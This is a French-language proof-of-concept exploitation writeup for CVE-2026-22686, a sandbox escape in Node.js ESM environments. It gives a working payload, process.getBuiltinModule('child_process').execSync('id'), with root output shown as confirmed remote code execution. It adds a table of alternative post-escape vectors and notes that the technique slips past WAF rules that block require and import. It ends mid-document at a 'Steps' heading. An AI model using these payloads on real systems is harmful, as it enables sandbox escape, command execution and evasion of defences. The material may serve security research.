
Preuve de concept d'exploitation pour CVE-2026-22686, démontrant l'exécution de code à distance dans les sandbox ESM de Node.js via process.getBuiltinModule pour contourner les restrictions de modules.
requireLorsqu'on obtient une évasion de sandbox via CVE-2026-22686, exécuter des commandes OS dans un
projet ESM ("type": "module") nécessite de contourner les restrictions de chargement de modules de Node.js.
Les approches standard échouent pour les raisons suivantes :
| Vecteur | Résultat |
|---|
require('child_process') | ❌ require is not defined — non disponible en ESM |
process.mainModule.require(...) | ❌ Cannot read properties of undefined — mainModule est undefined en ESM |
import('child_process') | ❌ A dynamic import callback was not specified — nécessite un hook non configuré dans le sandbox |
process.binding('spawn_sync') | ⚠️ Disponible mais trop bas niveau — nécessite une construction manuelle des appels système |
process.getBuiltinModuleAu lieu de supposer une méthode de chargement de modules, nous énumérons directement les clés de process
depuis le contexte hôte (déjà accessible après l'évasion du sandbox) :
return Object.keys(process)
Parmi les clés retournées, getBuiltinModule a été identifié — une API native Node.js 22+
conçue spécifiquement pour permettre aux modules ESM d'accéder aux modules intégrés de Node.js
sans require ni import().
process.getBuiltinModule('child_process').execSync('id').toString()
// → uid=0(root) gid=0(root) groups=0(root) ✅ RCE confirmé
C'est l'idée clé : process.getBuiltinModule est une API relativement récente
(Node.js >= 22.3.0) et est fréquemment négligée par les implémentations de sandbox
et les règles WAF qui bloquent require et import.
Selon l'environnement cible, d'autres vecteurs peuvent être disponibles après
l'énumération de process :
| Vecteur | Version de Node.js | Notes |
|---|---|---|
process.getBuiltinModule('child_process') | >= 22.3.0 | ✅ Le plus propre — API officielle compatible ESM |
process.binding('spawn_sync') | Toutes | ⚠️ Bas niveau, nécessite une construction manuelle des buffers |
process.mainModule.require(...) | CJS uniquement | ❌ Indéfini en ESM |
__non_webpack_require__ | Bundles Webpack | ⚠️ Spécifique à l'environnement |
Module.createRequire(import.meta.url) | >= 12.2.0 | ⚠️ Nécessite une référence Module depuis l'hôte |
process._linkedBinding('node_os') | Builds internes | ⚠️ Rarement exposé |
À retenir : Énumérez toujours
Object.keys(process)après avoir obtenu l'accès au contexte hôte. La surface d'attaque disponible varie considérablement selon la version de Node.js et la configuration du projet.getBuiltinModuleest le vecteur le plus fiable dans les environnements ESM modernes de Node.js.
Étapes :
